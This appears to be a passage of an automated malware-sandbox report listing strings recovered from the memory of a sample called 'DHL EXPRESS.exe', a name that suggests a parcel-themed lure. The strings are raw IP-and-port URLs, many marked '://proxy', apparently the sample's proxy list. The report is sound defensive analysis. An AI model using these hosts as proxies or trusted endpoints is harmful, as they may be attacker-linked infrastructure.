Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.202.252
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.202.252://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.202.252:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.28.23:12113
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.28.23:12113://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.51.44.221:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8F6000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.51.47.9:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.51.47.9:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD79C000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.52.17.69:1234
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.52.17.69:1234://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.53.110.45:10801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.53.110.45:10801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.53.78.26:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.53.78.26:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.58.16.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.58.16.57:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.58.16.57:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.190.209:56252
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.190.209:56252://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.203.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.203.249:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.203.249:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.59.203.249:4145HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.161.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.161.18:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.161.18:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.186.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.186.21:52195
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.60.186.21:52195://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.232.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.232.169:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.232.169:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.137:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.137:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.161:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.161:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.225:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.66.233.225:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.151.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.151.189:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.151.189:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.87.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.87.142:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.87.142:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.90.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.90.57:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.69.90.57:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.72.89.133:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.72.89.133:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.75.96.70:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.75.96.70:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB40E000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.129.110:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.129.110:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.148.161:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.148.161:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.253.66:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.76.253.66:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.77.50.168:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.77.50.168:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.170.13:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.170.13:83://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.201.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.201.242:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.201.242:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.96.146:8181
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.78.96.146:8181://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.8.164.16:1111
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.8.164.16:1111://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.115.210:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.115.210:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.13.201:44832
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.13.201:44832://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.194.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.194.173:3125
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.194.173:3125://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.220.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.220.33:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.81.220.33:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.157.102:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.233.2:1089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.233.2:1089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.8.189:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.82.8.189:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.105.167:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.105.167:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.178.205:2016
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.178.205:2016://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.80.67:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.83.80.67:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.27:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.27:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.28:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.177.28:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.178.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.178.2:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.178.2:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.235.162:8789
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.84.235.162:8789://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.2:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.2:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.9:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.86.1.9:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.87.228.187:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.87.228.187:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.90.227.244:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.90.227.244:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.94.133.92:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.94.133.92:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.95.97.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.95.97.42:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.95.97.42:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.96.38.161:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.97.179.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.97.179.115:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.97.179.115:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.99.27.26:8090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.99.27.26:8090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.128.103.32:64312
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.128.103.32:64312://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.131.77.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.131.77.66:2233
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.131.77.66:2233://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.104.12
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.104.12://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.104.12:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.106:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.142:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.146:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.182:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.198:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.105.207:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.154:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.234:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.106.65:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.107.142:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.108.42:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.207:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.109.213:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.143.127:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.16.195.74:80
